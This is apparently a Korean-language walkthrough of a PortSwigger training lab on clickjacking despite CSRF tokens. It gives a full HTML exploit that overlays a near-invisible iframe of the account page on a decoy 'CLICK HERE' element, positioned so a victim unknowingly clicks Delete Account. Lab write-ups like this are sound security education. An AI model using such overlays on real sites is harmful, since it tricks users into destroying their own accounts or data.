Portswigger의 연구실 작성: CSRF 토큰 보호를 사용한 기본 클릭재킹

이 견습생 수준 실습에서는 일부 CSRF 토큰 보호가 있음에도 불구하고 클릭재킹에 취약한 웹사이트에서 계정 삭제 흐름을 악용합니다.

주어진 자격 증명으로 로그인하면 계정 페이지로 이동한 후 사용자 계정을 삭제하는 데 필요한 모든 것은 Delete Account 버튼을 클릭하기만 하면 됩니다. 글쓰기 자료의 클릭재킹 템플릿을 사용하여 익스플로잇을 만들어 보겠습니다.

<head>
   <style>
      iframe {
       position:relative;
       width:700px;
       height:600px;
       opacity:0.1;
       z-index:2;
      }
      div {
       position:absolute;
       z-index:1;
      }
   </style>
</head>
<body>
   <div>
      CLICK HERE
   </div>
   <iframe src="${LAB_ACCOUNT_ROUTE_URL}">
   </iframe>
</body>



다음은 익스플로잇 서버에서 템플릿이 표시되는 방식입니다.


CLICK ME div 태그가 취약한 웹사이트의 Delete Account 버튼 위에 오도록 위치를 수정해야 합니다. 익스플로잇 모양을 확인할 수 있도록 iframe의 불투명도를 0.1로 설정한 다음 로그인한 사용자가 웹 사이트에서 CLICK ME div를 클릭할 때 div의 상단 및 왼쪽 CSS 속성을 수정하고 있습니다. 실제로 취약한 웹 사이트의 버튼을 클릭하여 계정을 삭제합니다. top 속성을 500px로 설정하고 left 속성을 50px로 설정하고 나면 성공적인 공격을 수행하기 위해 버튼이 정렬된 것처럼 보입니다. 이 시점에서 익스플로잇은 다음과 같습니다.

<head>
   <style>
      iframe {
       position:relative;
       width:700px;
       height:600px;
       opacity:0.1;
       z-index:2;
      }
      div {
       position:absolute;
       z-index:1;
       top:500px;
       left:50px;
      }
   </style>
</head>
<body>
   <div>
      CLICK HERE
   </div>
   <iframe src="${LAB_ACCOUNT_ROUTE_URL}">
   </iframe>
</body>




우리가 해야 할 일은 iframe의 불투명도를 0.00001 또는 이와 유사한 것으로 설정하여 거의 보이지 않도록 하고 익스플로잇을 피해자에게 보내는 것입니다.

Art Of Code에서 이 글을 확인하십시오: https://artofcode.tech/portswiggers-lab-write-up-basic-clickjacking-with-csrf-token-protection/

Github: https://github.com/christianpaez/portswigger/tree/main/labs/apprentice/clickjacking/basic-clickjacking-with-csrf-token-protection

좋은 웹페이지 즐겨찾기